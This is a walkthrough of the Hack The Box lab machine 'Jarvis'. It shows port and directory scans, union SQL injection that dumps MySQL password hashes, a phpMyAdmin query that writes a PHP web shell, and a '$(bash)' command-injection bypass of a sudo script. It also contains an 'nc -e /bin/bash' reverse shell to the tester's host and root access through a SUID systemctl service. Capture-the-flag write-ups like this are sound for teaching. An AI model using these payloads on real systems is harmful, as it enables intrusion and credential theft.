This post is about the Walkthrough of the hackthebox machine: Jarvis

Hackthebox Jarvis Walkthrough Link to heading

jarvis

Initial Enumeration Link to heading

Port Scan Link to heading

sudo nmap -sS -p- -Pn -T4 --min-rate 10000 -oN alltcp.txt 10.10.10.143 
sudo nmap -sU -p- -Pn -T4 --min-rate 10000 -oN alludp.txt 10.10.10.143
[sudo] password for rocky: 
Sorry, try again.
[sudo] password for rocky: 
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2022-04-15 20:09 EDT
Nmap scan report for 10.10.10.143
Host is up (0.044s latency).
Not shown: 65532 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
64999/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 6.86 seconds
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2022-04-15 20:09 EDT
Warning: 10.10.10.143 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.10.143
Host is up (0.044s latency).
All 65535 scanned ports on 10.10.10.143 are open|filtered (65483) or closed (52)

Nmap done: 1 IP address (1 host up) scanned in 46.35 seconds
Vulnarability Scan Link to heading
nmap -Pn -p 22,80,64999 -sC -sV -oN details.txt 10.10.10.143
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2022-04-15 20:17 EDT
Nmap scan report for 10.10.10.143
Host is up (0.044s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
|   256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_  256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
80/tcp    open  http    Apache httpd 2.4.25 ((Debian))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
64999/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.65 seconds

┌──(rocky㉿kali)-[~/hckbox/jarvis]
└─$ nmap -p80 --script http-enum 10.10.10.143
Starting Nmap 7.91 ( https://nmap.org ) at 2022-04-15 20:19 EDT
Nmap scan report for 10.10.10.143
Host is up (0.043s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-enum: 
|   /phpmyadmin/: phpMyAdmin
|   /css/: Potentially interesting directory w/ listing on 'apache/2.4.25 (debian)'
|   /images/: Potentially interesting directory w/ listing on 'apache/2.4.25 (debian)'
|_  /js/: Potentially interesting directory w/ listing on 'apache/2.4.25 (debian)'
Hints for initial shell Link to heading
Hint1: Link to heading

There is apache running on 2 ports 80 and 64999. 64999 seems to be phpmyadmin page

Hint2: Link to heading

There is a css folder which contain css scripts which may be exploited.

Hint3: Link to heading

There is a images folder. if we can find a way to upload the files( by curl or url to upload). There is a chance to upload the “cmd” or “reverseshell”

Hint4: Link to heading

There is js folder. which may contain the java/css scripts. If we can upload or excecure some scripts in this foder, this also can help in obtaining reverse shell.

Directory Enumeration Link to heading
Gobuster Scan Link to heading
gobuster dir -u http://10.10.10.143 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.143
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/04/15 20:26:21 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 313] [--> http://10.10.10.143/images/]
/css                  (Status: 301) [Size: 310] [--> http://10.10.10.143/css/]   
/js                   (Status: 301) [Size: 309] [--> http://10.10.10.143/js/]    
/fonts                (Status: 301) [Size: 312] [--> http://10.10.10.143/fonts/] 
/phpmyadmin           (Status: 301) [Size: 317] [--> http://10.10.10.143/phpmyadmin/]
Progress: 84219 / 220561 (38.18%)                                                   
/sass                 (Status: 301) [Size: 311] [--> http://10.10.10.143/sass/]      
/server-status        (Status: 403) [Size: 300]                                      

===============================================================
2022/04/15 20:42:37 Finished
======================================================
Nikto scan Link to heading
nikto -h http://10.10.10.143
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.143
+ Target Hostname:    10.10.10.143
+ Target Port:        80
+ Start Time:         2022-04-15 20:29:38 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.25 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'ironwaf' found, with contents: 2.0.3
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Cookie PHPSESSID created without the httponly flag
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.25 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3268: /css/: Directory indexing found.
+ OSVDB-3092: /css/: This might be interesting...
+ Uncommon header 'x-ob_mode' found, with contents: 1
+ OSVDB-3092: /phpmyadmin/ChangeLog: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /phpmyadmin/: phpMyAdmin directory found
+ OSVDB-3092: /phpmyadmin/README: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ 7863 requests: 0 error(s) and 15 item(s) reported on remote host
+ End Time:           2022-04-15 20:36:23 (GMT-4) (405 seconds)
Website front end Link to heading

jarvis

I have added"supersecurehotel.htb" in /etc/hosts

SQL injection Possibility Link to heading

we can access the rooms menu like this

jarvis

When you click on each room package the url looks like this:

jarvis

Testing SQL injection with below format. It did not break the page, however there was blank page like below which confirm the sql injection error part.

jarvis

One more way to easily identify the sqlinjection is using the sqlmap. The same url has been tested like below with sqlmap command:

sqlmap -u http://10.10.10.143/room.php?cod=1
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.5.5#stable}
|_ -| . ["]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 19:44:14 /2022-04-18/

[19:44:14] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=pa8drq7eju8...fj50giiq54'). Do you want to use those [Y/n] y
[19:44:19] [INFO] checking if the target is protected by some kind of WAF/IPS
[19:44:20] [INFO] testing if the target URL content is stable
[19:44:20] [INFO] target URL content is stable

[19:44:49] [INFO] GET parameter 'cod' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'cod' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
[19:45:12] [ERROR] user quit

The last result states its vulnarable to sql injection.

Manual sql injection Link to heading
Union Injection Link to heading

If i try" http://10.10.10.143/room.php?cod=99 UNION SELECT 1;– - "

I get a blank page like this

jarvis

I i kepp on adding the number like this, i am getting some results “http://10.10.10.143/room.php?cod=99 UNION SELECT 1,2,3,4,5,6,7;– -”

jarvis

If i compare it with the actual url “cod=1” urls we can understand the numbers belong to which values. Url “http://10.10.10.143/room.php?cod=1 UNION SELECT 1,2,3,4,5,6,7;– -”

jarvis

from these we can say 5=picture, 2=room title, 3-room price,4=room description.

SQL query

It’s a sql query fetching from a form which is having mutiple collumns.

SELECT col1,col2,col3... from table WHERE id=$_GET['cod'];

In SQL injection lets say we add “AND 1=1;– -” .

“1=1” is true , the next statement “– -” is to suppress the errors or warnings. “– " is enough. However if not using burp browser wil ignore the space so its bettwer to use “– -”

SELECT col1,col2,col3... from table WHERE id=$_GET['cod'] AND 1=1;-- -
SQL database and collumns enumeration Link to heading

Using some of the sqlinjection [cheatbook ](MySQL SQL Injection Cheat Sheet | pentestmonkey)available, i was managed to get some details using this “http://10.10.10.143/room.php?cod=99 UNION SELECT 1,@@version,@@datadir,user(),database(),6,7;– -”

jarvis

“group_concat” is a useful function to display mutiple values from different rows to show in one string. url “http://10.10.10.143/room.php?cod=99 UNION ALL SELECT 1,group_concat(schema_name),3,4,5,6,7 from information_schema.schemata;– -”

We used collumn 2 as its the most visible collums among others.

Now the we have below information:

jarvis

The above query lists all the databases. We can see the non standard database is “hotel”

Finding the tables from database :hotel

Query “http://10.10.10.143/room.php?cod=99 UNION ALL SELECT 1, group_concat(table_name), 3, 4, 5, 6, 7 from information_schema.tables where table_schema=‘hotel’ ;– -”

jarvis

It shows just one table called “room”

Now Enumerate the collums in the table “room”

Query"http://10.10.10.143/room.php?cod=99 UNION ALL SELECT 1, group_concat(column_name), 3, 4, 5, 6, 7 from information_schema.columns where table_name=‘room’;– -”

jarvis

The collumns found: cod,name,price,descrip,star,image,mini

As none of them seems to be username, lets enumerate the tables in database mysql

Query “http://10.10.10.143/room.php?cod=99 UNION ALL SELECT 1, group_concat(table_name), 3, 4, 5, 6, 7 from information_schema.tables where table_schema=‘mysql’ ;– -”

jarvis

Tables found : column_stats,columns_priv,db,event,func,general_log,gtid_slave_pos,help_category,help_keyword,help_relation,help_topic,host,index_stats,innodb_index_stats,innodb_table_stats,plugin,proc,procs_priv,proxies_priv,roles_mapping,servers,slow_log,table_stats,tables_priv,time_zone,time_zone_leap_second,time_zone_name,time_zone_transition,time_zone_transition_type,user

Now lets enumerate the collumns of table: user in mysql database

Query “http://10.10.10.143/room.php?cod=99 UNION ALL SELECT null,group_concat(column_name),null,null,null,null,null from information_schema.columns WHERE table_schema=‘mysql’ and table_name=‘user’;– -”

jarvis

The collumns we got : Host,User,Password,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,File_priv,Grant_priv,

Now lets enumerate the collumns -user/Password

Query “http://10.10.10.143/room.php?cod=99 UNION ALL SELECT 1,group_concat(Host,”:",User,":",Password,":",File_priv),3,4,5,6,7 from mysql.user;– "

jarvis

The details we got:

localhost:DBadmin:*2D2B7A5E4E637B8FBA1D17F40318F277D29964D0:y

Using the crackstation website, i am able to crack it.

jarvis

PHPadmin exploit Link to heading

During the earlier directory enumeration , we have found a phpadminpage and lets login with these credentials.

jarvis

The version of “phpmyadmin” is 4.8.

jarvis

jarvis

It says the exploit allows the malicious code in terms of sql query if the user is authenticated. In this case we are authenticated and lets insert below code into sql query option.

SELECT "<?php system($_GET['c']); ?>" into outfile "/var/www/html/shell3.php"

jarvis jarvis

I have added the reverse shell code and encoded using the burp

jarvis

I have the reverse shell.

$ rlwrap nc -nvlp 4242 
listening on [any] 4242 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.143] 44524
/bin/sh: 0: can't access tty; job control turned off
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
python -c 'import pty; pty.spawn("/bin/sh")'
$ 

It seems we need to escalate to user “pepper” before root

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
messagebus:x:105:110::/var/run/dbus:/bin/false
pepper:x:1000:1000:,,,:/home/pepper:/bin/bash
mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:107:65534::/run/sshd:/usr/sbin/nologin

sudo -l output

sudo -l
Matching Defaults entries for www-data on jarvis:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on jarvis:
    (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
ls -al /var/www/Admin-Utilities/simpler.py
ls -al /var/www/Admin-Utilities/simpler.py
-rwxr--r-- 1 pepper pepper 4587 Mar  4  2019 /var/www/Admin-Utilities/simpler.py
cat /var/www/Admin-Utilities/simpler.py
cat /var/www/Admin-Utilities/simpler.py
#!/usr/bin/env python3
from datetime import datetime
import sys
import os
from os import listdir
import re

def show_help():
    message='''
********************************************************
* Simpler   -   A simple simplifier ;)                 *
* Version 1.0                                          *
********************************************************
Usage:  python3 simpler.py [options]

Options:
    -h/--help   : This help
    -s          : Statistics
    -l          : List the attackers IP
    -p          : ping an attacker IP
    '''
    print(message)

def show_header():
    print('''***********************************************
     _                 _                       
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _ 
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/ 
                                @ironhackers.es

***********************************************
''')

def show_statistics():
    path = '/home/pepper/Web/Logs/'
    print('Statistics\n-----------')
    listed_files = listdir(path)
    count = len(listed_files)
    print('Number of Attackers: ' + str(count))
    level_1 = 0
    dat = datetime(1, 1, 1)
    ip_list = []
    reks = []
    ip = ''
    req = ''
    rek = ''
    for i in listed_files:
        f = open(path + i, 'r')
        lines = f.readlines()
        level2, rek = get_max_level(lines)
        fecha, requ = date_to_num(lines)
        ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
        if fecha > dat:
            dat = fecha
            req = requ
            ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
        if int(level2) > int(level_1):
            level_1 = level2
            ip_list = [ip]
            reks=[rek]
        elif int(level2) == int(level_1):
            ip_list.append(ip)
            reks.append(rek)
        f.close()

    print('Most Risky:')
    if len(ip_list) > 1:
        print('More than 1 ip found')
    cont = 0
    for i in ip_list:
        print('    ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont])
        cont = cont + 1

    print('Most Recent: ' + ip2 + ' --> ' + str(dat) + ' ' + req)

def list_ip():
    print('Attackers\n-----------')
    path = '/home/pepper/Web/Logs/'
    listed_files = listdir(path)
    for i in listed_files:
        f = open(path + i,'r')
        lines = f.readlines()
        level,req = get_max_level(lines)
        print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level)
        f.close()

def date_to_num(lines):
    dat = datetime(1,1,1)
    ip = ''
    req=''
    for i in lines:
        if 'Level' in i:
            fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('\n')[0]
            regex = '(\d+)-(.*)-(\d+)(.*)'
            logEx=re.match(regex, fecha).groups()
            mes = to_dict(logEx[1])
            fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3]
            fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S')
            if fecha > dat:
                dat = fecha
                req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10]
    return dat, req

def to_dict(name):
    month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'}
    return month_dict[name]

def get_max_level(lines):
    level=0
    for j in lines:
        if 'Level' in j:
            if int(j.split(' ')[4]) > int(level):
                level = j.split(' ')[4]
                req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10]
    return level, req

def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
            exit()
    os.system('ping ' + command)

if __name__ == '__main__':
    show_header()
    if len(sys.argv) != 2:
        show_help()
        exit()
    if sys.argv[1] == '-h' or sys.argv[1] == '--help':
        show_help()
        exit()
    elif sys.argv[1] == '-s':
        show_statistics()
        exit()
    elif sys.argv[1] == '-l':
        list_ip()
        exit()
    elif sys.argv[1] == '-p':
        exec_ping()
        exit()
    else:
        show_help()
        exit()

Out of all these script this portions gives a hint for another command injection.

def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
            exit()
    os.system('ping ' + command)

The script seems for testing the connectivity by ping. It takes our input( assume its an IP) and does the ping.

However to prevent the command injection the script prevents the usage of below characters

 forbidden = ['&', ';', '-', '`', '||', '|']

We can see the $ sign is not listed here.So lets simply do

$(bash)

The privilege escalated to user “pepper”.However no command outputs from this shell.So i have decided to create a reverse shell for this.

<sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
***********************************************
     _                 _                       
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _ 
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/ 
                                @ironhackers.es

***********************************************

$(bash)
$(bash)
whoami
whoami
id
id
ls
ls
pepper@jarvis:/var/www/html$ 

Rever shell command on Jarvis machine( i have to do this as the shell which i have received bu sudo command does not give any command outputs)

nc -e /bin/bash 10.10.14.3 5555

Netcat receiver

└─$ rlwrap nc -nvlp 5555
listening on [any] 5555 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.143] 60002
python -c 'import pty; pty.spawn("/bin/bash")'
whoami
whoami
pepper
ls
ls
ayax            dining-bar.php   images     phpmyadmin        sass
b4nn3d          fonts            index.php  room.php          shell3.php
connection.php  footer.php       js         roomobj.php
css             getfileayax.php  nav.php    rooms-suites.php
pepper@jarvis:/var/www/html$ 
Privilege escalation to root Link to heading

I can see " /bin/systemctl" is set with suid privilege.

find / -perm -u=s -type f 2>/dev/null
/bin/fusermount
/bin/mount
/bin/ping
/bin/systemctl
/bin/umount
/bin/su
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/chfn
/usr/lib/eject/dmcrypt-get-device

I have created a simple service and run with “systemctl “command.

The simple [service](Rchitect/root.service at Yoda · tcprks/Rchitect · GitHub) file as follows. Please make sure you copy/create this service under /home/pepper directory. Under /tmp directory it may not work.

Now run these commands to run this custom service we created.

/bin/systemctl link /home/pepper/root.service
/bin/systemctl enable --now root.service
/bin/systemctl start root.service

We have reverse shell as root now:

└─$ rlwrap nc -nvlp 2222
listening on [any] 2222 ...

connect to [10.10.14.3] from (UNKNOWN) [10.10.10.143] 56496
python -c 'import pty; pty.spawn("/bin/bash")'
whoami
whoami
root